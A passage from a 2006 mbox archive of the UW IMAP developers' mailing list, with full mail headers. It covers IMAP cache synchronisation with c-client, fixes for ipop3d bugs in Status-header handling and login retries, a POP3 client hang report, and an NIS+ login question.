every time, then caching locally is not much better than just grabbing the headers directly each time. Any suggestions are appreciated. Best, -Erik Kangas LuxSci.com _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Jan 11 12:23:44 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 11 Jan 2006 12:23:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BKNiJG028229 for ; Wed, 11 Jan 2006 12:23:44 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BKNfBG013653 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Jan 2006 12:23:42 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BKNbFG019057 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Jan 2006 12:23:38 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BKNb1d028158; Wed, 11 Jan 2006 12:23:37 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BKNaZF028150 for ; Wed, 11 Jan 2006 12:23:36 -0800 Received: from mail16.bluewin.ch (mail16.bluewin.ch [195.186.19.63]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BKNZGd012973 for ; Wed, 11 Jan 2006 12:23:35 -0800 Received: from localhost (62.203.77.213) by mail16.bluewin.ch (Bluewin 7.2.070) id 43BCE4DF001E26A4; Wed, 11 Jan 2006 20:20:14 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1EwmS5-0000MA-00; Wed, 11 Jan 2006 21:20:13 +0100 Date: Wed, 11 Jan 2006 21:20:13 +0100 (CET) From: "Tomas Pospisek's Mailing Lists" X-X-Sender: tpo2@localhost To: Erik Kangas Subject: Re: [Imap-uw] Synchronizing imap folder data using cclient In-Reply-To: <43C5590E.90804@luxsci.com> Message-ID: References: <43AB3A78.9010201@soe.ucsc.edu> <43C5590E.90804@luxsci.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 11 Jan 2006, Erik Kangas wrote: > This is a pretty simple question. I am considering writing some software to > cache imap message/header data. In thinking about this, I have been going > through the Perl Mail::Cclient docs for ways I can determine easily if there > are changes: new messages, deleted messages, messages with changed flags. I > am using mbx formatted folders. > > New messages: compare current vs saved "uidnext" can be examined to see if > there have been new messages. > > Deleted messages: I am not sure how to detect this short of getting a list of > all uids and comparing with my local list and removing missing ones. > > Messages with changed flags: I am not sure how to do this without fetching > the flags for all messages and updating my local cache. > > Are there better ways of doing these things with imap/cclient -- the overall > goal is to ease the server workload as much as possible through caching. If > we have to re-scan headers every time, then caching locally is not much > better than just grabbing the headers directly each time. > > Any suggestions are appreciated. Have a look at mailsync.sf.net *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Jan 11 13:40:49 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 11 Jan 2006 13:40:49 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BLenYX003132 for ; Wed, 11 Jan 2006 13:40:49 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BLemt3028925 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Jan 2006 13:40:48 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BLeivp014226 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 11 Jan 2006 13:40:44 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BLehRC010704; Wed, 11 Jan 2006 13:40:43 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BLegr3010688 for ; Wed, 11 Jan 2006 13:40:42 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BLegbB007159 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 11 Jan 2006 13:40:42 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BLefo3007246 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 11 Jan 2006 13:40:41 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com ([65.122.177.186]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0BLedoJ003440 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 11 Jan 2006 13:40:41 -0800 Date: Wed, 11 Jan 2006 13:40:37 -0800 From: Mark Crispin To: Erik Kangas Subject: Re: [Imap-uw] Synchronizing imap folder data using cclient In-Reply-To: <43C5590E.90804@luxsci.com> Message-ID: References: <43AB3A78.9010201@soe.ucsc.edu> <43C5590E.90804@luxsci.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 11 Jan 2006, Erik Kangas wrote: > New messages: compare current vs saved "uidnext" can be examined to see if > there have been new messages. Also check uidvalidity to make sure that it has not changed. If it has changed, discard your cache. > Deleted messages: I am not sure how to detect this short of getting a list of > all uids and comparing with my local list and removing missing ones. The fact that UIDs are strictly ascending (unlike POP where UIDs are random) and the provision of consecutive sequence numbers creates some interesting mathematical relationships that can ease the burden. Often you can avoid having to reload the entire UID map by observing that there are no missing UIDs within a particular range. Hence my oft-repeated statement that a good IMAP client uses *both* UIDs and sequence numbers. > Messages with changed flags: I am not sure how to do this without fetching > the flags for all messages and updating my local cache. Yes, but only when first synchronizing the cache. Once you have done so, you don't need to do so again in the session since the server is required to announce flag changes. > Are there better ways of doing these things with imap/cclient -- the overall > goal is to ease the server workload as much as possible through caching. If > we have to re-scan headers every time, then caching locally is not much > better than just grabbing the headers directly each time. I don't know much about the Perl module that calls c-client, and your question is a bit vague for me to answer specifically. You are best off looking at existing successful programs that call c-client (e.g., Pine) and see how they work, and then ask questions once on specific points. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jan 13 14:46:16 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 13 Jan 2006 14:46:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0DMkGmV002283 for ; Fri, 13 Jan 2006 14:46:16 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0DMkFSN008174 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Jan 2006 14:46:15 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0DMkBOK012185 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Jan 2006 14:46:11 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0DMkAwj003076; Fri, 13 Jan 2006 14:46:10 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0DMk9gN003052 for ; Fri, 13 Jan 2006 14:46:09 -0800 Received: from uproxy.gmail.com (uproxy.gmail.com [66.249.92.204]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0DMk5Z7027999 for ; Fri, 13 Jan 2006 14:46:06 -0800 Received: by uproxy.gmail.com with SMTP id k40so101879ugc for ; Fri, 13 Jan 2006 14:46:05 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=X0+kZ0TA30BDGkSGb7WtWG64BD4WLEOLU8POdYZLcXmpZcRE+AnkudxUTBy+xn9j+zQMS7nY5LuQn0gnGWn0uUA8U9o2zPxGnupwWlz+558Kw4ydsP5R85b14oJJpxxYYjGd1JDbtZtNemq+jEnhKTYDXc5MoQmxo7bQ0N6+t+0= Received: by 10.48.247.7 with SMTP id u7mr108923nfh; Fri, 13 Jan 2006 14:46:05 -0800 (PST) Received: by 10.48.211.17 with HTTP; Fri, 13 Jan 2006 14:46:04 -0800 (PST) Message-ID: <35e353d50601131446i7a4905a8qb94137d5c6e9552c@mail.gmail.com> Date: Sat, 14 Jan 2006 00:46:04 +0200 From: Adrian Buciuman To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] two ipop3d "bugs" In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <35e353d50511101934n20232c9dmde2d93b50d46486e@mail.gmail.com> X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu http://mailman1.u.washington.edu/pipermail/imap-uw/2005-November/000292.htm= l http://mailman1.u.washington.edu/pipermail/imap-uw/2005-November/000295.htm= l On 11/14/05, Mark Crispin wrote: > > I agree that the Status: line should always be at the start of a line and > that an extra blank line should not be written if the message has no body= . > The attached ipop3d.patch file has both changes, and these changes will > appear in the next imap-2005 development snapshot. > [............] > There will be one minor change: instead of the previous > retr 2 > +OK 10030 octets > Status: RO > > > . > behavior you will now see > retr 2 > +OK 10030 octets > Status: RO > > . > That is, you'll only see one blank line after the Status: line. > > The octet count will continue to be bogus; that came from the IMAP server= . [............] > -- Mark -- Thank you for the patch and for your clear explanation. I am sorry for having delayed so long to answer your email. I've thought it is better to only answer after I will have time to apply the patch, and to perform some more tests. I've tried the patch "ported" to imap-2004; i don't know from where to download the development version of imap-2005. A problem with this patch is that k may be 0, 1 or 2 at this line: if (t[k-3] =3D=3D '\012') So depending on what garbage is in memory I may get: (12 is expunged) retr 12 +OK 531 octets Status: . (notice a line above Status:) I would rather put something like: if ((k=3D=3D0) || ((k>2) && (t[k-3]=3D=3D'\012'))) If the header has size 1 or 0 or the body has size 1 the octet count is wrong, even if the imap server doesn't leave holes in the mailbox; I don't see an easy way around it. Such messages are however not valid emails. I hope robust clients will not crash or truncate if they receive some garbage "message" bigger than the expected size, nor timeout if the "message" is smaller. TOP sometimes still gives an extra line for messages with no body. retr 5 +OK 26 octets Status: RO Status: . top 5 0 +OK Top of message follows Status: RO Status: R . top 5 1 +OK Top of message follows Status: RO Status: R . top 5 99999 +OK Top of message follows Status: RO Status: R . retr 4 +OK 247 octets Return-Path: <> Received: from test (localhost [127.0.0.1]) by xx-xx-xx-xxx (Cyrus v2.2.12) with LMTPA; Thu, 16 Jun 2005 21:53:59 +0300 X-Sieve: CMU Sieve 2.2 Date: Thu Message-ID: Status: . top 4 0 +OK Top of message follows Return-Path: <> Received: from test (localhost [127.0.0.1]) by xx-xx-xx-xxx (Cyrus v2.2.12) with LMTPA; Thu, 16 Jun 2005 21:53:59 +0300 X-Sieve: CMU Sieve 2.2 Date: Thu Message-ID: Status: R . top 4 1 +OK Top of message follows Return-Path: <> Received: from test (localhost [127.0.0.1]) by xx-xx-xx-xxx (Cyrus v2.2.12) with LMTPA; Thu, 16 Jun 2005 21:53:59 +0300 X-Sieve: CMU Sieve 2.2 Date: Thu Message-ID: Status: R . Another issue I've found: if i give a bad username/password, ipop3d will try three times to login to the imap server with that bad pair, than close the pop3 connection. It will make more sense to give an pop3 error after every failed imap login attempt (except perhaps when the error is caused by a busy mailbox, or ipop3d only gets readonly access to the imap server); maybe the pop3 client will ask the user for a new user/pass if given the opportunity. Thank you, Adrian Buciuman _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Jan 13 17:10:13 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 13 Jan 2006 17:10:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0E1ACIw012881 for ; Fri, 13 Jan 2006 17:10:12 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0E1AB32018597 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Jan 2006 17:10:11 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0E1A79K020634 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Jan 2006 17:10:07 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0E1A7vg008240; Fri, 13 Jan 2006 17:10:07 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0E1A5Xc008232 for ; Fri, 13 Jan 2006 17:10:05 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0E1A58X028218 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 13 Jan 2006 17:10:05 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0E1A4U8011223 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 13 Jan 2006 17:10:05 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0E1A4fc008797 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 13 Jan 2006 17:10:04 -0800 Date: Fri, 13 Jan 2006 17:10:05 -0800 (Pacific Standard Time) From: Mark Crispin To: Adrian Buciuman Subject: Re: [Imap-uw] two ipop3d "bugs" In-Reply-To: <35e353d50601131446i7a4905a8qb94137d5c6e9552c@mail.gmail.com> Message-ID: References: <35e353d50511101934n20232c9dmde2d93b50d46486e@mail.gmail.com> <35e353d50601131446i7a4905a8qb94137d5c6e9552c@mail.gmail.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I believe that I have addressed all your issues in the ipop3d in the latest imap-2006 development tarball: ftp://ftp.cac.washington.edu/mail/imap-2006.DEV.tar.Z Specifically: Status: header is no longer written if the RFC 822 header is less than 4 bytes. Extra blank line is no longer written in TOP with messages that have no RFC 822 body. Password is only sent once. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Jan 17 08:31:24 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Jan 2006 08:31:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0HGVNFn009841 for ; Tue, 17 Jan 2006 08:31:23 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0HGVMNB003505 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 17 Jan 2006 08:31:23 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0HGVJPE008246 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 17 Jan 2006 08:31:19 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0HGVITr026822; Tue, 17 Jan 2006 08:31:18 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0HGVHaf026814 for ; Tue, 17 Jan 2006 08:31:17 -0800 Received: from f29.mail.ru (f29.mail.ru [194.67.57.22]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0HGVGxI025188 for ; Tue, 17 Jan 2006 08:31:17 -0800 Received: from mail by f29.mail.ru with local id 1Eytim-0009lr-00 for imap-uw@u.washington.edu; Tue, 17 Jan 2006 19:30:12 +0300 Received: from [195.182.131.74] by win.mail.ru with HTTP; Tue, 17 Jan 2006 19:30:12 +0300 From: =?koi8-r?Q?=E9=CC=D8=D1=20=E5=D7=D3=C5=C5=D7?= To: imap-uw@u.washington.edu Mime-Version: 1.0 X-Mailer: mPOP Web-Mail 2.19 X-Originating-IP: 192.168.0.2 via proxy [195.182.131.74] Date: Tue, 17 Jan 2006 19:30:12 +0300 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit Message-Id: X-Uwash-Spam: Gauge=XII, Probability=12%, Report='CHARSET_FARAWAY_HEADERS 1.154, __CHARSET_IS_KOI8R 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_CHARSET_FARAWAY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __RUS_WEBMAIL_FROM 0, __RUS_WEBMAIL_RCVD 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] ipop3d hangs up when Outlook or Thunderbird tries to fetch a message greather than 15k. X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: =?koi8-r?Q?=E9=CC=D8=D1=20=E5=D7=D3=C5=C5=D7?= List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, folks! There is RH7.2 box with UW-IMAP 2004g backported from the FC4. Sometime somebody reports that he/she cannot fetch messages bundle via POP3: Outlook or Mozilla Thunderbird for Windows sleeps until timeout done. On the server side, ipop3d sleeps too. Kmail, Opera email client under Linux, and also www.mailreader.ru service works without this problem. Possibly this happens when the first message in /var/spool/mail/xxx file is greather than 15k. Any comments? Any idea? WBR, Ilya _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jan 26 12:29:45 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Jan 2006 12:29:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0QKTj3r023208 for ; Thu, 26 Jan 2006 12:29:45 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0QKTh7s004532 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 26 Jan 2006 12:29:43 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0QKTdQC005042 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 26 Jan 2006 12:29:39 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0QKTdsh019956; Thu, 26 Jan 2006 12:29:39 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0QKTckN019947 for ; Thu, 26 Jan 2006 12:29:38 -0800 Received: from mnblin01.mnb.gd-ais.com (mnblin01.mnb.gd-ais.com [206.11.149.28]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0QKTWkp007566 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 26 Jan 2006 12:29:35 -0800 Received: from mnbm01-fes01.ad.gd-ais.com (mnbm01-fes01.mnb.gd-ais.com [160.207.224.15]) by mnblin01.mnb.gd-ais.com (8.12.11/8.12.11) with SMTP id k0QKTl2U031585 for ; Thu, 26 Jan 2006 14:29:48 -0600 Received: from txsa01-mail01.ad.gd-ais.com ([165.159.70.15]) by mnbm01-fes01.ad.gd-ais.com with Microsoft SMTPSVC(6.0.3790.1830); Thu, 26 Jan 2006 14:29:39 -0600 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Date: Thu, 26 Jan 2006 14:29:29 -0600 Message-ID: <97E02A05E253E74B826FDEFF342AED8E010A81C7@txsa01-mail01.ad.gd-ais.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: imap and nisplus? Thread-Index: AcYitzXNXRx8uCtFQ/C8lLp/uw2KYA== From: "Segura, John A." To: X-OriginalArrivalTime: 26 Jan 2006 20:29:39.0581 (UTC) FILETIME=[3B4BA2D0:01C622B7] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='HTML_70_90 0.1, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HTML_FONT_BLUE 0, __HTML_MSWORD 0, __IMS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __TAG_EXISTS_HTML 0' Subject: [Imap-uw] imap and nisplus? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1587042693==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. --===============1587042693== Content-class: urn:content-classes:message Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C622B7.3573BC7A" This is a multi-part message in MIME format. ------_=_NextPart_001_01C622B7.3573BC7A Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hello all, I'm using thunderbird to login to my sendmail server which is running imapd/popd all of which are Solaris 8 boxes with nis+. However, I can authenticate with the mail server, it comes back with bad login. Is there a sendmail/imapd setting somewhere that needs to be changed so it can use nis+ to authenticate? My mail server is a client in the nis+ domain. I can telnet/ssh using my account and current password just fine, I just can't retrieve mail. Thanks, =20 JS ------_=_NextPart_001_01C622B7.3573BC7A Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

    Hello all,

    I’m using thunderbird to login to my sendmail = server which is running imapd/popd all of which are Solaris 8 boxes with = nis+. However, = I can authenticate with the mail server, it comes back with bad login. Is there a = sendmail/imapd setting somewhere that needs to be changed so it can use nis+ to authenticate? My mail server = is a client in the nis+ domain. I can telnet/ssh using my account and current password just = fine, I just can’t retrieve mail. Thanks,

     

    JS

    ------_=_NextPart_001_01C622B7.3573BC7A-- --===============1587042693== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1587042693==-- From pinedev@shivax2.cac.washington.edu Thu Jan 26 12:42:39 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Jan 2006 12:42:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k0QKgcGO023858 for ; Thu, 26 Jan 2006 12:42:38 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id 